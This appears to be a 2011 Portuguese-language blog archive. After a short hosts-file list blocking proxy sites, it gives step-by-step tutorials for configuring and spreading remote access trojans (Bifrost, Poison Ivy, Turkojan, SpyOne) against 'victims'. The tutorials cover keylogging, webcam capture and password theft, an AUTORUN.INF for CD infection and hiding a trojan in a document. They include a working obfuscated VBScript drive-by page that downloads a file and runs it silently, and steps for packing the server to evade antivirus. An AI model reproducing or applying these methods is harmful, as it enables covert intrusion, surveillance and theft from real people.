# web proxies
127.0.0.1 calculatepie.com
127.0.0.1 www.englishtunnel.com
127.0.0.1 englishtunnel.com
127.0.0.1 www.safehazard.com
127.0.0.1 safehazard.com
127.0.0.1 www.saferforwork.net
127.0.0.1 saferforwork.net
127.0.0.1 www.browseatwork1.com
127.0.0.1 browseatwork1.com
127.0.0.1 planetdangerous.com
127.0.0.1 www.atunnel.com
127.0.0.1 atunnel.com
127.0.0.1 www.btunnel.com
127.0.0.1 btunnel.com
127.0.0.1 www.ctunnel.com
127.0.0.1 ctunnel.com
127.0.0.1 www.dtunnel.com
127.0.0.1 dtunnel.com
127.0.0.1 www.vtunnel.com
127.0.0.1 vtunnel.com
127.0.0.1 www.vttunnel.com
127.0.0.1 vttunnel.com
127.0.0.1 proxify.com
127.0.0.1 proxyforpeace.com
127.0.0.1 weboogle.info
127.0.0.1 beatfiltering.com
127.0.0.1 choosethisproxy.com
127.0.0.1 pagewash.com
127.0.0.1 proxyhog.info
127.0.0.1 secretip.com
127.0.0.1 webunlocker.com
127.0.0.1 pickthisproxy.com
127.0.0.1 www.polysolve.com
127.0.0.1 polysolve.com
127.0.0.1 www.vpntunnel.net
127.0.0.1 vpntunnel.net
127.0.0.1 www.geotunnel.com
127.0.0.1 geotunnel.com
127.0.0.1 backfox.com
127.0.0.1 www.calculatepie.com
127.0.0.1 calculatepie.com
127.0.0.1 www.mathtunnel.com
127.0.0.1 mathtunnel.com

Repita o processo para os domínios que você deseja bloquear adicionalmente. Este procedimento não impede ninguém de reverter o processo facilmente, mas, com certeza, vai deixar os leigos desanimados. Só funciona na mesma máquina cujo hosts foi editado. Caso tenha algum problema, volte o seu backup!

Espero que seja de grande ajuda para as pessoas que têm crianças pequenas e nenhum saco pra configurar milhares de softwares/roteadores complicados

Tutorial Bifrost Trojan

2011-03-22T14:12:00.001-07:00

Este tutorial tem como objetivo ajudar quem quer usar o Bifrost Trojan, aqui vc não irá se aprofundar em todas as opções e detalhes do programa.

TELA INICIAL DO BIFROST TROJAN

Aqui se encontra a lista das vítimas que estão on line, como ainda não tem ngm em sua lista ela estará vazia... vc deve clicar em Settings...

1- Settings

Portas 81, 200, 123 – são as portas com as quais voce irá se conectar
Password – coloque uma senha, no nosso exemplo será “senha”

O resto deixe como está, são as configurações padrões, como por exemplo “Msn style notification” será o modo que vc saberá que as suas vítimas estão on line, como no msn quando algum contato fica on line.

2- Builder (Para fazer o seu server)
Aqui a parte mais importante:

a) Connection

Voce deve ter uma conta no NO-IP e colocar o seu login aqui para receber suas notificações de vítimas on line.
A senha escolhida no passo anterior deve ser colocada no espaço referente.

b) Installation
Deixe como está...

c) Stealth
Deixe como está...

Se vc quiser colocar um tempo para instalação do server mude em “Delayed Connection”, vc pode colocar pra instalar na próxima vez que o computador for iniciado ou um tempo em dias horas e minutos a parti do momento que a vítima executar o server.

d) Miscellaneous

Deixe como está...

Em seguida clique em “Build” o seu servidor será criado na pasta onde se encontra o cliente do Bifrost (o cliente é o arquivo: Bifrost.exe).
Agora é só mandar para a vítima. !

Tutorial Poison Ivy 2.2.0

2011-03-22T14:11:00.000-07:00

1º Abra o Programa

2º Clque Em Build
Na Aba Build Faça o Seguinte

1) Em 'DNS/Port' Clike Em 'Add' e Coloque Seu Login No-Ip
Ou Seu Ip-Fixo Selecione a Porta Que Deseja Usar

2) Em ID Vc Pode Colocar O Nome Da Sua Vitima]

3) Em Password Coloque Uma Senha( No Meu Caso Sera '123'),

4)FileName Coloque o Nome Da Instalacao(eu Sempre Coloco( svchost.exe),

5) (Copy File To) Selecione Uma Das Caixinhas Para qual Pasta o Arquivo Sera Extraido,

6)Em Advanced Deixe Como Esta

7)em Inject Into A Custom Process
Servira Para Que o Server Se Junte Com um Arquivo(Nosso Meu Caso Sera 'svchost.exe ')

Pronto Em 'ICON' Vc Pode Adicionar Um Icone Para Seu Server
i Em Seguida Clike Em 'Build'e Salve Seu Server...

Exemplo:

3º Na Aba 'Settings' Coloque sua Senha que voce Configurou no Server
Sua Porta

E o resto deixe como esta e em seguida Clique em SAVE( Para Salvar As Alteracoes)

Pronto Seu Poison Ivy Esta Configurado! Depois De Mandar o Server Para Vitima e ela ter executado Na Aba
'Connections' Estara Suas Vitimas Infectadas Para se conectar a elas e so Clicar duas vezes Em Cima Do Seu ID.

Tutorial Turkojan

2011-03-22T14:05:00.001-07:00

Depois de baixar o Trojan, instale-o, depois de aberto siga as instruções abaixo.

● Clique em editor

● Agora nessa tela clique em Select IconPara escolher o ícone do server ou se preferir deixe esse mesmo

● Em Victim Name vc devera escolher um nome para vitima que se infectar por o servidor.

● Em DNS-IP vc coloca o seu IP.

● Em 'Port number' deixe como esta.

● Em Connection 'Password' escolha um senha para se conectar com o servidor.

● Em 'Bind server with a file' Para se vc quiser bindar o servidor com algum arquivo.

● Em 'Fake error message' vc podera colocar uma mensagem de erro falsa apos a execusao do servidor.

● Em 'Registry Settings' voce escolhera o nome que vai aparecer no gerenciador de processos.

● Se a opçao 'Pack server' estiver desmarcada marque-a.

● Clique em 'Save' para salvar seu servidor.

Conectando-se Com o Servidor

Depois que você mandar de alguma forma o servidor pra determinada pessoa e ela o
executar, confira se a senha que você configurou para o servidor corresponde à que
aparece no campo 'Pass' da interface do programa (recomendo usar a mesma senha
sempre pra evitar esquecimentos) e clique no botão Active, aparecerá uma pequena
janelinha no canto direito inferior da tela com uma mensagem: “Vítima is online now”
que significa que a vítima está online e você poderá se conectar.

Na parte inferior da interface do programa você terá a lista de suas vítimas
conectadas no momento, para se conectar a uma delas, clique no IP correspondente
(normalmente mais que dois cliques para dar certo).

Funçao passwords

Passwords indica passwords da maquina
remote passwords vc obtera passwords do pc,podendo encontrar senhas do ftp
outlook,etc…

Funçao comunication

Em 'Chat with server' você pode interagir através de textos recebidos instantaneamente pela vítima, onde se abrirá uma pequena janela em seu PC, podendo lhe enviar mensagens também

Em 'Chat Properties' apenas especifique como você irá querer que apareça o seu nome como o da vítima nacaixa de diálogos.

Em 'Other Properties' defina o tamanha em percentual da tela do Chat.

clique em 'Star Chatting With Victim' para iniciar uma conversa

Função File Options

Em 'File Manager' você tem acesso aos arquivos do Explorer do PC da vítima,
podendo acessar os objetos de inicialização, painel de controle, pasta Windows, e
demais pastas de forma clara e objetiva.

Na parte inferior da tela que se abre, você terá os botões com determinadas funções
específicas, como fazer download ou upload de algum arquivo, criar uma nova pasta,
deletar uma pasta, executar determinado arquivo, entre outros.

Em Find File você poderá fazer uma pesquisa no PC da vítima, especificando a
unidade e o formato do arquivo a ser encontrado, por exemplo = *.exe; *.ini; *.bat.
Para isso basta clicar no botão Find File.

Função Screen Options

Em Change Resolution você poderá fazer e alterar uma avaliação sobre as
resoluções para uma posterior mensagem nada discreta que você poderá mandar
para a vítima e, em Print Text to Screen você poderá regular as coordenadas, cor do
fundo e do texto e, também o tamanho da fonte. Você terá a opção de testar, enviar e
limpar.

Função Mouse Manager

em Mouse Settings onde você poderá controlar o mouse, inverter a
função dos botões, travar o mouse, deixar o mouse crazy (louco), aumentar ou
diminuir a velocidade para a funcionalidade de dois cliques do mouse, assim como a
velocidade de seu movimento, entre outras funções.

Funçao System Information

Estará disponível a funcionalidade Get system Information onde você poderá
colher as informações do sistema operacional, savar e limpar.

Função Other Settings

Em 'Clipboard Setting' você terá opções de configuração do clipboard, podendo ler,
editar, limpar, bloquear e desbloquear.

Em 'Time/date Settings' você poderá controlar o horário e a data cujo seu servidor
estiver conectado.

Em 'IE Settings' você pode definir a página inicial do Internet Explorer, assim como
fazer o navegador abrir uma pagina de sua preferência e, listando as últimas 25
páginas visitadas por este mesmo navegador.

Em 'Process Settings' você encontrará os processos rodando na máquina, tendo
opções para editá-los e encerrá-los se preferir.

Em 'Running Applications' você observará os programas que estão rodando no PC
da vítima, podendo atualizar ou finalizar determinado programa.

Em 'Services' você observará os serviços referentes ao sistema, podendo atualizar,
desinstalar, parar e/ou inicializar determinado serviço.

Função Keyboard Manager

Em Keyboard Settings você poderá bloquear ou desbloquear certos comandos do
teclado, como o comando para abrir o gerenciador de tarefas, a tecla Num-lock,
Scroll-Lock, entre outras, podendo inclusive habilitar ou desabilitar as luzes do teclado.

Em Send Keys você terá domínio sob o teclado do PC da vítima.(eu adoro essa)xD

Em Online Keylogger você observa tudo o que for digitado enquanto o PC
conctado à Internet, podendo facilmente reter senhas de todos os gêneros.

Em Offline Keylogger você observa tudo aquilo que for digitado enquanto o PC não
estiver conectado à Internet.

Função Fun Manager

Em 'Fun Menu' você poderá se divertir com alguns comandos feitos literalmente
para sacanear a vítima, como tirar ou mostrar a área de trabalho, menu iniciar, ícones,
travar ou destravar a área de trabalho, o menu iniciar, abrir e fechar o drive de disco
removível, ligar e desligar o monitor

Em 'ExtraFun' você terá opções como inverter a tela do computador, tanto na
vertical quanto na horizontal, reiniciar a máquina, desligar ou fazer logoff.

Função Other Options

Em 'Print Text' você poderá imprimir um texto.

Em 'Windows Colors' você poderá definir uma cor para as janelas.

Em 'Registry Editor' você terá acesso ao Editor de registros da máquina

Função Server Settings

Em Server Settings, enquanto conectado você poderá editar as informações a
respeito da vítima, como trocar a senha e o endereço IP.

Função Image Manager

Em Get Screen Shot você terá possibilidade de ver uma screenshot do monitor da
vítima, podendo maximizar e configurar sua qualidade.

Em Take Picture from Cam você poderá receber uma foto retirada com a web cam
da vítima, podendo configurar sua qualidade e ssalvá-la.

Função Tools

Em Process Viewer você observará os processos que estão rodando na máquina,
podendo finalizá-los.

Na opção Server Editor você criará servidores, devendo-se observar o 1° passo deste tutorial..

Infectando por CD.

2011-03-22T14:04:00.000-07:00

Material:
-1 CD virgem
-1 Servidor de Trojan
-1 Bloco de notas

Simples né?

1ºCrie um bloco de notas, e nele coloque assim:

[AutoRun]
open=nome_do_seu_server.exe
icon=nome_do_seu_server.exe,0

2º Agora, salve com o nome de: AUTORUN.INF

3ºGrave os arquivos em um cd

4º Pronto! Quando a vitima colocar o CD no pc, ela irá se infectar, isso porque esse é um comando muito usado para execução automatica de jogos e programas, mas sem uma previa verificação do arquivo fica facil trocar esse "jogo" por um servidor!.

Criando um site com um Auto-Infect

2011-03-22T14:02:00.000-07:00

Esse Tutoutial Vai Mostrar Como executar algum Programa quando a Pessoa entrar no site, ou seja, no seu Site.
Bom vamos lá então... Esse Documento HTML que irei postar, é um Auto-Executável...
Codigo:

<html>
<title></title>
<head></head>
<body>
<script language="VBScript">

on error resume next

' due to how ajax works, the file MUST be within the same local domain
dl = "LINK DO PROGRAMA"

' create adodbstream object
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")

a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1

' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send

' Get temp directory and create our destination name
fname1="NOME DO PROGRAMA E A EXTENSÃO"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write contents of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2

S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0

</script>
<head>
<title>[rox] || 404 Not Found</title>
</head><body>
<center><embed src="/" pluginspage="" type="application/x-shockwave-flash" width="550" height="290"> </embed>


</body>

</html>

Apenas adapte o codigo acima, lembrando Conhecimento nao é crime, nao me responsabilizo com o que voce faz com ele!!

Trojans em Documentos de Texto.

2011-03-22T14:00:00.000-07:00

Utilize esta ferramenta para inserir um trojan
em arquivo de texto, e assim, poder mandar
para uma pessoa via MSN sem problemas,ou seja não precisa zipar.
E então achei interessante postar aqui, trata-se do packager.

Vai em Iniciar> Executar> e digite Packager.

Abra uma figura com qualquer editor de imagem, selecione
a figura e depois cole no PACKAGER, depois selecione menu
arquivo e importar, e escolha o server que for.

Vai no menu editar e escolha copiar pacote, depois abra o
wordpad que é o melhor se a vítima possuir só ele, porque se
a vitima abrir pelo word ele vai exibir aviso de risco de vírus
com o wordpad aberto ou word mande colar especial.
E escolha pacote. Já deu pra notar que estamos
criando um pacote para wordpad ou word.

Aí é só salvar o arquivo como doc, e mandar para pessoa.
Você use a sua criatividade para colocar uma legenda pedindo
pra pessoa da 2 cliques na figura. Ou então, faça como eu, eu
cliquei com botão direito da figura e fui em propriedade do objeto
e escolhi um ícone de instalação do pacote e botei uma legenda.
Fica um ícone com a seguinte legenda 'Para visualizar a imagem
instale o pacote.Se a pessoa tiver no word e der 2 cliques, vai vir
a mensagem dizendo que pode ser um vírus, caso ela clique em
instalar o pacote o ícone sumirá e no lugar do ícone vai aparecer
a imagem. Caso ela não tenha o word instalado, ela irá conseguir
abrir no wordpad, o wordpad não avisa nada ele instala direto..

Tutorial completo Spyone

2011-03-22T13:58:00.001-07:00

1- Baixe o SpyOne em nossa seção de downloads !

2- Abra o SpyOne e clique em New Server:

Observe que todos os checkbox que estão envolvidos pelo circulo marron estão marcados.

desmarque todos e tbm desmarque o comprimir.

A seta verde indica meu DNS (meu no-ip).

Depois clique em Criar Server e pronto.

Agora vo mostrar como configurar sua rede para receber conexão reversa sem problemas.

1- No Menu Iniciar vai em Conectar-se e em mostrar todas as conexões:

2- Em conexão local clique com o butão direito do mouse e entre em propiedades:

3- Ja em propriedades escolha a opção tcp/ip e clique em propriedades como indica a seta verde:

4- Configure exatamente igual a imagem abaixo, e clique em ok e pronto.

Agora vo mostrar como deixa o server do spyone indetectavel usando o themida.

1- Baixe o Themida em nossa seção de downloads !

2- Abra e themida e sigua as intruções abaixo:

Clique onde a seta vermelha indica e encontre o server gerado.

Logo apos clique onde a seta azul indica.

3- Vai abrir uma caixa com esses butões aperta onde a seta vermelha indica “protect”:

4- Após você clicar começa um processo de compressão do arquivo, aguarde ate o fim.

5- Apos completar voce aperta onde e seta rosa indica:

Pronto, seu trojan esta indetectável, agora escolha a vítima e teste sua criação..